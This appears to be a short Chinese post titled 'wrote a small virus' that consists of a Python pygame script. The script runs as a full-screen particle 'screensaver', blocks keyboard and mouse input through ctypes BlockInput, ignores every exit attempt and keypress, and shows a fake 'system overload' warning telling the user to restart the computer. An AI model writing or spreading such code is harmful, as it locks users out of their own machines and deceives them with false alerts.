写了一个小小的病毒
import pygame
import random
import math
import sys
import ctypes
# 禁用Alt+F4和Alt+Tab
ctypes.windll.user32.BlockInput(True)
# 初始化pygame
pygame.init()
# 设置屏幕尺寸
info = pygame.display.Info()
screen_width, screen_height = info.current_w, info.current_h
screen = pygame.display.set_mode((screen_width, screen_height), pygame.FULLSCREEN | pygame.NOFRAME)
pygame.display.set_caption("粒子风暴屏保")
# 隐藏鼠标
pygame.mouse.set_visible(False)
# 颜色定义
COLORS = [
(255, 0, 0), (0, 255, 0), (0, 0, 255),
(255, 255, 0), (255, 0, 255), (0, 255, 255),
(255, 165, 0), (138, 43, 226), (0, 191, 255),
(255, 20, 147), (0, 255, 127), (70, 130, 180)
]
# 粒子类
class Particle:
def __init__(self):
self.x = screen_width // 2
self.y = screen_height // 2
angle = random.uniform(0, 2 * math.pi)
speed = random.uniform(0.5, 5)
self.vx = math.cos(angle) * speed
self.vy = math.sin(angle) * speed
self.color = random.choice(COLORS)
self.size = random.randint(1, 4)
self.life = random.randint(100, 200)
self.max_life = self.life
self.trail = []
self.max_trail = 10
def move(self):
self.x += self.vx
self.y += self.vy
self.life -= 1
# 添加空气阻力
self.vx *= 0.99
self.vy *= 0.99
# 随机扰动
self.vx += random.uniform(-0.1, 0.1)
self.vy += random.uniform(-0.1, 0.1)
# 记录轨迹
self.trail.append((self.x, self.y))
if len(self.trail) > self.max_trail:
self.trail.pop(0)
def draw(self, surface):
# 绘制轨迹
for i, (tx, ty) in enumerate(self.trail):
alpha = int(255 * (i / len(self.trail)))
size = int(self.size * (i / len(self.trail)))
if size > 0:
color = (*self.color, alpha)
pygame.draw.circle(surface, color, (int(tx), int(ty)), size)
# 绘制粒子
alpha = int(255 * (self.life / self.max_life))
color = (*self.color, alpha)
pygame.draw.circle(surface, color, (int(self.x), int(self.y)), self.size)
# 创建初始粒子
particles = [Particle() for _ in range(500)]
# 创建文本表面
font = pygame.font.SysFont('Arial', 36, bold=True)
small_font = pygame.font.SysFont('Arial', 24)
# 主循环
clock = pygame.time.Clock()
running = True
# 禁用任务管理器
try:
ctypes.windll.user32.BlockInput(True)
except:
pass
while running:
for event in pygame.event.get():
# 忽略所有退出尝试
if event.type == pygame.QUIT:
pass
elif event.type == pygame.KEYDOWN:
# 忽略所有按键
pass
# 创建新粒子
if len(particles) < 2000:
for _ in range(5):
particles.append(Particle())
# 填充半透明背景创建拖尾效果
overlay = pygame.Surface((screen_width, screen_height), pygame.SRCALPHA)
overlay.fill((0, 0, 0, 10))
screen.blit(overlay, (0, 0))
# 移动和绘制所有粒子
for particle in particles[:]:
particle.move()
particle.draw(screen)
if particle.life <= 0:
particles.remove(particle)
# 显示警告信息
warning = font.render("警告:系统过载!", True, (255, 0, 0))
screen.blit(warning, (screen_width // 2 - warning.get_width() // 2, 50))
info_text = small_font.render(f"粒子数量: {len(particles)}", True, (200, 200, 200))
screen.blit(info_text, (screen_width // 2 - info_text.get_width() // 2, 100))
exit_text = small_font.render("无法退出 - 请重启计算机", True, (255, 255, 255))
screen.blit(exit_text, (screen_width // 2 - exit_text.get_width() // 2, screen_height - 100))
# 创建随机干扰线
for _ in range(5):
x1 = random.randint(0, screen_width)
y1 = random.randint(0, screen_height)
x2 = random.randint(0, screen_width)
y2 = random.randint(0, screen_height)
color = random.choice(COLORS)
pygame.draw.line(screen, color, (x1, y1), (x2, y2), 1)
# 随机像素干扰
for _ in range(100):
x = random.randint(0, screen_width - 1)
y = random.randint(0, screen_height - 1)
color = random.choice(COLORS)
screen.set_at((x, y), color)
pygame.display.flip()
clock.tick(60)
# 程序理论上永远不会执行到这里
ctypes.windll.user32.BlockInput(False)
pygame.quit()
sys.exit()